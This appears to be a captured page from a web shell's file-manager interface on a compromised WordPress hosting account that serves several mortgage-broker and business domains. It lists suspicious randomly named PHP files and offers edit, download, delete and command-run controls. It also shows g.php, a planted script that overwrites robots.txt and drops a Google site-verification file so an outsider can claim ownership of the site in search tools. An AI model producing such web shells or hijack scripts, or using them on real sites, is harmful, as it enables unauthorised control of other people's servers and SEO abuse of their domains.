/
home
/
techb158
/
public_html
/
/home/techb158/public_html
mkdir
upload
Name
Size
Mode
Actions
.wp-toolkit_3/
-
0755
rm
.wp-toolkit_C/
-
0755
rm
.wp-toolkit_g/
-
0755
rm
.wp-toolkit_L/
-
0755
rm
.wp-toolkit_q/
-
0755
rm
.wp-toolkit_t/
-
0755
rm
.wp-toolkit_w/
-
0755
rm
.wp-toolkit_Y/
-
0755
rm
.wp-toolkit_y/
-
0755
rm
.wp-toolkit_Z/
-
0755
rm
clicfinancement.ca/
-
0750
rm
clicfinancement.com/
-
0750
rm
francisgallanthypotheque.com/
-
0750
rm
frantzihypotheque.ca/
-
0750
rm
hypothequechristinelemieux.com/
-
0750
rm
hypothequephenix.com/
-
0750
rm
hypothequetoimieux.com/
-
0750
rm
ileadtechnologies.com/
-
0750
rm
marinamendeleva.ca/
-
0750
rm
matthieust-laurent.ca/
-
0750
rm
maxautos.ca/
-
0750
rm
nathalielegerhypotheque.com/
-
0750
rm
solutionshypotheque.com/
-
0750
rm
systemd/
-
0755
rm
techbala.com/
-
0777
rm
well-known/
-
0755
rm
wp-admin/
-
0777
rm
wp-content/
-
0777
rm
wp-includes/
-
0777
rm
.env
-
0
edit
dl
rm
.ftpquota
16
0600
edit
dl
rm
.htaccess
305
0644
edit
dl
rm
bb-config.php
-
0
edit
dl
rm
conect_to_mysql.php
-
0
edit
dl
rm
Config.inc.php
-
0
edit
dl
rm
config.php
-
0
edit
dl
rm
configuration.php
-
0
edit
dl
rm
conf_global.php
-
0
edit
dl
rm
connect.php
-
0
edit
dl
rm
connection.php
-
0
edit
dl
rm
db.php
-
0
edit
dl
rm
dbconnect.php
-
0
edit
dl
rm
ernvacos.php
19513
0644
edit
dl
rm
g.php
3396
0644
edit
dl
rm
googlebcc677847ac933d4.html
53
0644
edit
dl
rm
index.php
1088
0444
edit
dl
rm
kwa.txt
1
0644
edit
dl
rm
license.txt
19903
0666
edit
dl
rm
mk_conf.php
-
0
edit
dl
rm
php.ini
106
0644
edit
dl
rm
readme.html
7407
0666
edit
dl
rm
robots.txt
69
0644
edit
dl
rm
rtfzogas.php
7317
0644
edit
dl
rm
Settings.php
-
0
edit
dl
rm
submitticket.php
-
0
edit
dl
rm
techbala.com.zip
187798456
0644
edit
dl
rm
wordfence-waf.php
0
0644
edit
dl
rm
wp-activate.php
7718
0666
edit
dl
rm
wp-blog-header.php
1035
0644
edit
dl
rm
wp-comments-post.php
2323
0666
edit
dl
rm
wp-config-sample.php
3339
0666
edit
dl
rm
wp-config.php
3882
0600
edit
dl
rm
wp-cron-seig.php
1659
0644
edit
dl
rm
wp-cron.php
5617
0666
edit
dl
rm
wp-links-opml.php
2493
0666
edit
dl
rm
wp-load.php
5329
0644
edit
dl
rm
wp-mail.php
8727
0666
edit
dl
rm
wp-settings.php
33840
0644
edit
dl
rm
wp-signup.php
35081
0666
edit
dl
rm
wp-trackback.php
5396
0666
edit
dl
rm
wp_blog_footer.php
45334
0644
edit
dl
rm
xmlrpc.php
3205
0666
edit
dl
rm
Edit:
/home/techb158/public_html/g.php
(3396B)
<?php // ========================================== // ⚙️ 在这里填入 Google 验证码即可(无需加 .html) // ========================================== $google_code = 'googlebcc677847ac933d4'; header('Content-Type: text/html; charset=utf-8'); $is_https = false; if (isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] === 'on' || $_SERVER['HTTPS'] === '1')) { $is_https = true; } elseif (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) { $is_https = true; } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') { $is_https = true; } elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) === 'on') { $is_https = true; } elseif (isset($_SERVER['HTTP_X_FORWARDED_SSL']) && strtolower($_SERVER['HTTP_X_FORWARDED_SSL']) === 'on') { $is_https = true; } $protocol = $is_https ? 'https://' : 'http://'; $raw_host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'localhost'); $host_parts = explode(':', $raw_host); $host = $host_parts[0]; $root_path = ''; if (isset($_SERVER['DOCUMENT_ROOT']) && !empty($_SERVER['DOCUMENT_ROOT'])) { $root_path = $_SERVER['DOCUMENT_ROOT']; } else { $root_path = dirname(__FILE__); } $root_path = str_replace('\\', '/', $root_path); $root_path = rtrim($root_path, '/'); $robots_content = "User-agent: *\n"; $robots_content .= "Allow: /\n"; $robots_content .= "Sitemap: " . $protocol . $host . "/sitemap.xml\n"; $robots_file = $root_path . '/robots.txt'; @file_put_contents($robots_file, $robots_content); $robots_success = false; if (is_file($robots_file) && filesize($robots_file) > 0) { if (@file_get_contents($robots_file) === $robots_content) { $robots_success = true; } } $code = trim($google_code); $google_filename = $code . '.html'; $google_content = 'google-site-verification: ' . $google_filename; $google_file = $root_path . '/' . $google_filename; @file_put_contents($google_file, $google_content); $google_success = false; if (is_file($google_file) && filesize($google_file) > 0) { if (@file_get_contents($google_file) === $google_content) { $google_success = true; } } echo "<h2>🚀 SEO 自动化文件生成结果</h2>"; echo "<p>当前顶级根目录:<code>" . htmlspecialchars($root_path) . "</code></p>"; if ($robots_success) { echo "✅ <strong>robots.txt</strong> 成功写入顶级根目录路径: <code>" . htmlspecialchars($robots_file) . "</code><br>"; echo "<pre style='background:#f4f4f4; padding:10px; border-radius:5px;'>" . htmlspecialchars($robots_content) . "</pre><br>"; } else { echo "❌ <strong>robots.txt</strong> <span style='color:red;'>写入失败!</span> 请检查网站根目录 <code>DOCUMENT_ROOT</code> 的写入权限。<br><br>"; } if ($google_success) { echo "✅ <strong>" . htmlspecialchars($google_filename) . "</strong> 成功写入顶级根目录路径: <code>" . htmlspecialchars($google_file) . "</code><br>"; echo "<pre style='background:#f4f4f4; padding:10px; border-radius:5px;'>" . htmlspecialchars($google_content) . "</pre>"; } else { echo "❌ <strong>Google 验证文件</strong> <span style='color:red;'>写入失败!</span> 请检查网站根目录 <code>DOCUMENT_ROOT</code> 的写入权限。<br>"; } ?>
Save
cmd:
run